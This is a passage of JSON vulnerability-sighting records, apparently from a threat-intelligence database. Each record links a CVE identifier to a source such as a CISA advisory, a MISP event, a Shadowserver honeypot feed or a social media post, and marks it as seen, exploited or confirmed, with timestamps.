"https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "89750ce3-e52f-4f0c-9ee0-aa28b414ad1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50040", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "43ee7ac4-f2af-4f13-9d13-08a8ee10f5bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50074", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "f8d2fe41-e9bb-4f68-a81a-68ad11cd06d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50099", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "35163071-ce1c-4354-88ab-4d786b98f7d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50194", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "3d4b20de-6a2d-4237-bc6d-3fb40d355b28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50301", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "7b4f2358-3954-40da-aca8-090db6874a31", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50198", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "0626a7f5-8504-4084-8554-54ba6f138118", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50251", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "5dc4aef3-f760-4202-8547-20f2fd0b7db9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50296", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "df514b98-4bd0-4708-9f26-d01b99376bc0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50304", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "2f994edf-ad71-4099-bc0f-fc1e68da5df9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50015", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "db47524e-32bf-45a6-b008-dd8f33fdb990", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50089", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "c01d7e5a-00d8-4888-a635-89360f366b89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50179", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "c59d155a-e594-4f39-aa1b-053375db4ab4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50185", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "3c369792-51af-4e90-8a66-ebf3fd72063b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50273", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "2a80b178-001d-490a-99a0-eb3572bbd5f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50279", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "9b116505-504a-4b45-8027-034b84d6acbb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50290", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "b3a288d3-7918-47eb-9ea3-918e9ff80b1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50001", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "2de28212-7218-4304-ac3e-021a1f5367c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50013", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "b01524b6-6485-4beb-806c-a484bf7c770b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50095", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "8e1adb8b-400a-4c9e-a358-5449709fe4e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50096", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "2eba1426-e4f1-499b-a9a1-fb53eac032b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50181", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "b0cf06f3-5aac-4710-90c3-aba5b06c0e68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50184", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "6e682d1c-05b1-4a70-beac-2313b03c368a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50188", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "ed280877-9ed6-4739-a2a7-8d7510da4a7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50199", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "f1bac14c-0e20-42b6-8c38-a9d2baad8b40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50201", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "25f90def-d37e-4ed1-8b3a-ae614bacd510", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50202", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "a0a549de-f9fc-45c2-8f97-77c205ff56ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50237", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "9d782ca3-8792-406a-b329-82cbd5c851e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50262", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "398cdb80-0eff-43ee-81ab-55b7bdbbb1a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50278", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "8c5c9fe4-4f18-424a-95f7-33d16369e881", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50295", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "2d659d8e-5be4-4273-9a65-e72f7ae476ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50287", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "e05ea087-4200-4ab5-a93f-a24361659c2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50292", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "0fc9ea4e-fc2d-4a4b-a87d-3ede590c6783", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50299", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "cb9a3e21-2b4f-4d2c-a652-f2d6fef5343f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "0ac1cdcf-c28b-4a0c-9ccb-714800000ff2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50602", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "9235413c-335c-4e10-bb12-1b62566c7a01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50706", "type": "seen", "source": "MISP/4d9e0694-2872-4bfc-8eee-f1ab846c5ab0", "content": "", "creation_timestamp": "2025-08-16T01:45:14.000000Z"}, {"uuid": "bd22dcaf-a012-410f-be1b-699cf56b27c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50704", "type": "seen", "source": "MISP/4d9e0694-2872-4bfc-8eee-f1ab846c5ab0", "content": "", "creation_timestamp": "2025-08-16T01:45:14.000000Z"}, {"uuid": "f16e2db0-e1b6-4f10-acc8-6c3c58ce8531", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50707", "type": "seen", "source": "MISP/4d9e0694-2872-4bfc-8eee-f1ab846c5ab0", "content": "", "creation_timestamp": "2025-08-16T01:45:14.000000Z"}, {"uuid": "2950fdfd-edf9-4497-91c2-61b14ed00ab7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50394", "type": "seen", "source": "MISP/4d9e0694-2872-4bfc-8eee-f1ab846c5ab0", "content": "", "creation_timestamp": "2025-08-16T01:45:14.000000Z"}, {"uuid": "84b13d79-5fba-42bd-9ed3-1ac9c3523626", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50498", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-10)", "content": "", "creation_timestamp": "2025-11-10T00:00:00.000000Z"}, {"uuid": "6e7db98b-4ea0-4f91-8fdc-3b073f321864", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-10)", "content": "", "creation_timestamp": "2025-11-10T00:00:00.000000Z"}, {"uuid": "183819f0-3bcc-4205-92eb-4bf17ff343a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/r-netsec-bot.bsky.social/post/3lydws7n64d2y", "content": "", "creation_timestamp": "2025-09-08T19:28:15.559239Z"}, {"uuid": "ae509239-6e74-4529-b7a8-e2a9bff6cb3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/bluesky.awakari.com/post/3lydwsar3sc2l", "content": "", "creation_timestamp": "2025-09-08T19:28:16.887819Z"}, {"uuid": "04b9593e-a826-4fe0-a2ed-77aaa2ecd7a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "MISP/fc16b923-3a13-4e9d-9aac-10a57cac12c7", "content": "", "creation_timestamp": "2025-08-18T18:31:00.000000Z"}, {"uuid": "7e562b42-7d75-4bd4-8c2f-7ec1ed3c50e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50705", "type": "seen", "source": "MISP/fc16b923-3a13-4e9d-9aac-10a57cac12c7", "content": "", "creation_timestamp": "2025-08-18T18:31:00.000000Z"}, {"uuid": "d4f68b75-1d58-4d3e-ba95-deacda327cb1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50706", "type": "seen", "source": "MISP/4d9e0694-2872-4bfc-8eee-f1ab846c5ab0", "content": "", "creation_timestamp": "2025-08-19T04:06:33.000000Z"}, {"uuid": "c64c1a19-433a-4048-a3f9-19e93da1529d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50704", "type": "seen", "source": "MISP/4d9e0694-2872-4bfc-8eee-f1ab846c5ab0", "content": "", "creation_timestamp": "2025-08-19T04:06:33.000000Z"}, {"uuid": "13e5867f-d198-4988-a278-4a427af688f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50707", "type": "seen", "source": "MISP/4d9e0694-2872-4bfc-8eee-f1ab846c5ab0", "content": "", "creation_timestamp": "2025-08-19T04:06:33.000000Z"}, {"uuid": "670b1194-bae6-4151-8b8f-7d046d8dded7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50394", "type": "seen", "source": "MISP/4d9e0694-2872-4bfc-8eee-f1ab846c5ab0", "content": "", "creation_timestamp": "2025-08-19T04:06:34.000000Z"}, {"uuid": "ef4d796b-7218-419c-8ef7-7e11b273266e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50623", "type": "seen", "source": "https://gist.github.com/emadshanab/5067c5055f2656e694af9c7a26104a71", "content": "", "creation_timestamp": "2025-10-12T00:42:21.000000Z"}, {"uuid": "1216c18a-bafc-4376-a961-f4ac99947f18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3lyenfdh6rj2b", "content": "", "creation_timestamp": "2025-09-09T02:12:39.725731Z"}, {"uuid": "66974328-fcaa-45ec-a745-3e0c96da0bc0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50299", "type": "seen", "source": "https://gist.github.com/Darkcrai86/57f9876ef067b4bbbbd8ac6adee0f23d", "content": "", "creation_timestamp": "2025-11-17T14:21:49.000000Z"}, {"uuid": "7dd36926-7c0f-4caa-b764-72d0bba707bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50629", "type": "seen", "source": "MISP/02fb130c-7874-4693-9b66-81ed91a2e996", "content": "", "creation_timestamp": "2025-08-21T03:19:28.000000Z"}, {"uuid": "ac462209-657f-490b-881a-e4bbfdcf8533", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50050", "type": "seen", "source": "https://gist.github.com/Darkcrai86/c973de31165904f2a643ea221893d388", "content": "", "creation_timestamp": "2025-11-14T13:14:13.000000Z"}, {"uuid": "d9c2a43c-9b8a-4843-8e6e-04267b4ba13d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-20)", "content": "", "creation_timestamp": "2025-08-20T00:00:00.000000Z"}, {"uuid": "20f1da69-78e7-4b6b-8751-875679c5cf91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-14)", "content": "", "creation_timestamp": "2025-10-14T00:00:00.000000Z"}, {"uuid": "fb4f3f98-3adc-44f6-9b65-9f73bd6e57a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50857", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2024/CVE-2024-50857.yaml", "content": "", "creation_timestamp": "2025-11-11T07:11:14.000000Z"}, {"uuid": "6664e05e-7d0b-49df-95e7-72f122d7f2b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50967", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-09-22)", "content": "", "creation_timestamp": "2025-09-22T00:00:00.000000Z"}, {"uuid": "b8e4cb76-afd3-4f3f-b8a3-b711753b5fa0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50641", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lwwxo27txp2x", "content": "", "creation_timestamp": "2025-08-21T22:14:01.052348Z"}, {"uuid": "8d6e160a-dd76-4cdd-a640-e693c4e03586", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://bsky.app/profile/andreyknvl.bsky.social/post/3lyl3etf2q22o", "content": "", "creation_timestamp": "2025-09-11T15:39:03.042297Z"}, {"uuid": "e4973873-be0d-4b9d-bc35-b168344503f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://bsky.app/profile/andreyknvl.bsky.social/post/3lyl3eycpnk2o", "content": "", "creation_timestamp": "2025-09-11T15:39:04.159692Z"}, {"uuid": "d7411fdc-29b9-4d7b-beea-82a5393866a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://bsky.app/profile/andreyknvl.bsky.social/post/3lyl3f37s622o", "content": "", "creation_timestamp": "2025-09-11T15:39:05.293337Z"}, {"uuid": "ec570609-f5be-4ec8-a5b2-6cfc439421ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50050", "type": "seen", "source": "MISP/24306fae-b16b-4478-9297-d2973cdb583c", "content": "", "creation_timestamp": "2025-08-22T14:52:23.000000Z"}, {"uuid": "c4f3c8fb-7fe9-421f-938e-ce369c7059cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50967", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-14)", "content": "", "creation_timestamp": "2025-10-14T00:00:00.000000Z"}, {"uuid": "93979ea5-fc11-40fb-82d0-850ea27cec96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50304", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3lx2tuyayd22c", "content": "", "creation_timestamp": "2025-08-23T11:17:00.128864Z"}, {"uuid": "caec07df-c04c-46e2-a34b-83da90be40ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5056", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-254-09", "content": "", "creation_timestamp": "2025-09-11T10:00:00.000000Z"}, {"uuid": "ac2c6bbd-dd91-40e1-882d-846855957704", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5056", "type": "seen", "source": "https://bsky.app/profile/pigondrugs.bsky.social/post/3lylk44iz5g2o", "content": "", "creation_timestamp": "2025-09-11T20:02:27.128815Z"}, {"uuid": "4f68834b-6a65-4500-a511-772d90e07603", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3lyg44agovc2i", "content": "", "creation_timestamp": "2025-09-09T16:08:43.483132Z"}, {"uuid": "5753abec-8b6d-4194-b6d2-a2b1cb0c2e4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50500", "type": "seen", "source": "MISP/f7787455-9994-4047-b6f7-77347597c104", "content": "", "creation_timestamp": "2025-08-26T18:36:19.000000Z"}, {"uuid": "6f658b86-084e-4a15-af1e-372954cb421f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/r-netsec-bot.bsky.social/post/3lyg7ppobem2x", "content": "", "creation_timestamp": "2025-09-09T17:13:15.003477Z"}, {"uuid": "4c2a858c-3045-418f-b0fe-25a84eedf645", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/bluesky.awakari.com/post/3lyg7qbbsvd2c", "content": "", "creation_timestamp": "2025-09-09T17:13:33.441264Z"}, {"uuid": "43823552-c6ac-4481-95e5-6f95daf302d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50051", "type": "seen", "source": "https://gist.github.com/Darkcrai86/9146c6003145a6dd1c7230cf7d607ea3", "content": "", "creation_timestamp": "2025-08-29T11:28:19.000000Z"}, {"uuid": "aaf2721d-eb05-4416-b3ff-029694be5ffb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5083", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lxkxf7ppu525", "content": "", "creation_timestamp": "2025-08-29T21:02:25.149024Z"}, {"uuid": "6aed14ff-4f62-4119-82f6-f2e727d8bf3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50570", "type": "seen", "source": 